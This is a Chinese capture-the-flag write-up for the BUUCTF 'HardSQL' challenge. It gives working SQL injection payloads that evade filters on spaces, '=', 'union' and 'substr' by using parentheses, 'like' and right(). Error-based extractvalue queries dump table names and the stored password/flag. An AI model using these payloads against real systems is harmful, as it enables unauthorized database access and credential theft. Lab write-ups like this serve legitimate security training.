【BUUCTF】HardSQL

题目来源

收录于:BUUCTF  极客大挑战 2019

题目描述

一道纯粹的SQL注入题

尝试进行注入,发现对以下字符进行了过滤:

= %20(空格) %09 %0a %0b %0c %0d /**/ substr union by and

且过滤方式不区分大小写,检测到以上字符就die()

题解

先找注入点,由于空格被过滤,与空格起同样作用的字符也被过滤,因此我们使用()将库名、表名、字段名包裹起来,就不需要使用空格了。

exp 如下:

?username=-1'or(1)%23&password=1

成功登录。

由于过滤了union,我们使用报错注入的方式进行尝试。另外,由于=被过滤,我们可以使用like来代替=。payload如下:

//爆库名
1'or(extractvalue(1,concat(0x7e,(database()))))%23
//爆表名
1'or(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))))%23
//爆字段名
1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1")))))%23
//爆字段值
1'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)))))%23

在爆字段值的时候我们看到,flag只显示了一部分

由于substr()函数被过滤,我们使用left()right()来进行字符串的截取,payload:

1'or(extractvalue(1,concat(0x7e,right((select(group_concat(password))from(geek.H4rDsq1)),30))))%23

其中30是截取右边字符的个数,可以改为其他值,只要能拿到完整flag即可。

总结

绕过空格

使用以下字符替代空格,可以起到相同效果

%09 %0a %0b %0c %0d /**/

或使用()包裹库名、表名、字段名,从而避免空格的使用,如:

select(group_concat(table_name))from(information_schema.tables)where(table_schema)=(database())

绕过 =

like代替=

字符串显示不全

使用以下三个函数对字符串进行截取:

substr()   left()   right()

【BUUCTF】HardSQL的更多相关文章

  1. 【BUUCTF】强网杯 2019随便注1 write up

    输入万能密码1' or 1=1# ,判断存在sql注入, SQL注入的万能密码实际上是利用了网址后台的漏洞,打开下面的网址不用密码和账号也可以登录后台. 万能密码原理: 万能密码能够绕过sql检测,在 ...

  2. 【BUUCTF】ACTF2020 新生赛Include1 write up

    查看源代码+抓包都没有发现什么信息,只有这两个东东 <meta charset="utf8"> Can you find out the flag? <meta ...

  3. Python高手之路【六】python基础之字符串格式化

    Python的字符串格式化有两种方式: 百分号方式.format方式 百分号的方式相对来说比较老,而format方式则是比较先进的方式,企图替换古老的方式,目前两者并存.[PEP-3101] This ...

  4. 【原】谈谈对Objective-C中代理模式的误解

    [原]谈谈对Objective-C中代理模式的误解 本文转载请注明出处 —— polobymulberry-博客园 1. 前言 这篇文章主要是对代理模式和委托模式进行了对比,个人认为Objective ...

  5. 【原】FMDB源码阅读(三)

    [原]FMDB源码阅读(三) 本文转载请注明出处 —— polobymulberry-博客园 1. 前言 FMDB比较优秀的地方就在于对多线程的处理.所以这一篇主要是研究FMDB的多线程处理的实现.而 ...

  6. 【原】Android热更新开源项目Tinker源码解析系列之一:Dex热更新

    [原]Android热更新开源项目Tinker源码解析系列之一:Dex热更新 Tinker是微信的第一个开源项目,主要用于安卓应用bug的热修复和功能的迭代. Tinker github地址:http ...

  7. 【调侃】IOC前世今生

    前些天,参与了公司内部小组的一次技术交流,主要是针对<IOC与AOP>,本着学而时习之的态度及积极分享的精神,我就结合一个小故事来初浅地剖析一下我眼中的“IOC前世今生”,以方便初学者能更 ...

  8. Python高手之路【三】python基础之函数

    基本数据类型补充: set 是一个无序且不重复的元素集合 class set(object): """ set() -> new empty set object ...

  9. Python高手之路【一】初识python

    Python简介 1:Python的创始人 Python (英国发音:/ˈpaɪθən/ 美国发音:/ˈpaɪθɑːn/), 是一种解释型.面向对象.动态数据类型的高级程序设计语言,由荷兰人Guido ...

  10. 【开源】简单4步搞定QQ登录,无需什么代码功底【无语言界限】

    说17号发超简单的教程就17号,qq核审通过后就封装了这个,现在放出来~~ 这个是我封装的一个开源项目:https://github.com/dunitian/LoTQQLogin ————————— ...

随机推荐

  1. 06 IdentityServer4 中支持外部标识提供器

    06. IdentityServer4 External Providers .NET Core 3.1 January 24, 2020| deblokt| in category Tutorial ...

  2. 【金TECH频道】企业架构转型组合拳来袭,助力金融机构一臂之力

    当前,数字化转型已经成为时代共性课题在政策和技术的双重指引下金融机构逐渐走向差异化竞争的格局面对转型阵痛以契合.明晰的战略规划及企业架构调整来辅助业务变革成为助力企业数字化转型的有效路径金融机构也纷纷 ...

  3. java到报名的编码运行

    Hello.java package a.b; import com.beyondiary.kit.KitConstant; public class Hello { public static vo ...

  4. 【转载】茅台巽风app地图详解,做任务不迷路,纯手绘

    茅台发布了新的app"巽风" 根据"巽值"的排名,发放20000个虎年茅台的资格,还是可以玩一玩的 哪些途径获取"巽值" 1.做任务,和游戏 ...

  5. LocalDateTime 简述

    Java 8 更新的部分内容中,有一部分代替了以往比较难用的 java.util.Date 类,并且创建了一套新的时间类型,该类型为: java.time.LocalDateTime. LocalDa ...

  6. 开源数字人直播DH_live web整合包免训练使用教程

    资源导航首页 项目地址 基于开源项目:DH_live做的web交互系统 主要实现:免训练数字人视频制作和实时语音数字人 可搭配一些直播场控软件的语音 驱动数字人进行直播     整合包下载 「数字人( ...

  7. Qt开源作品4-网络调试助手

    一.前言 网络调试助手和串口调试助手是一对的,用Qt开发项目与硬件通信绝大部分都是要么串口通信(RS232 RS485 Modbus等),要么就是网络通信(TCP UDP HTTP等),所以一旦涉及到 ...

  8. 小洋的Python入门笔记😀

    小洋的python入门笔记 起因:发现自己前三年做的Python项目很多都是现做先学的,修改理解语法错误多依仗对C/C++的理解,对python缺乏一个系统的学习.趁此有空,补上! 特别鸣谢:B站找到 ...

  9. Github无法访问解决办法

    Github无法访问解决办法 问题描述:网速正常,但是github无法访问. 解决办法: 1.因为Github网址域名更换.查询网站https://ipchaxun.com/ ,例如输入github. ...

  10. 修改leds-gpio.c 让GPIO LED在kernel启动时就开始闪烁

    内容提要: 客户需要在开机时就闪烁LED,并要求越快越好 diff --git a/drivers/leds/leds-gpio.c b/drivers/leds/leds-gpio.c index ...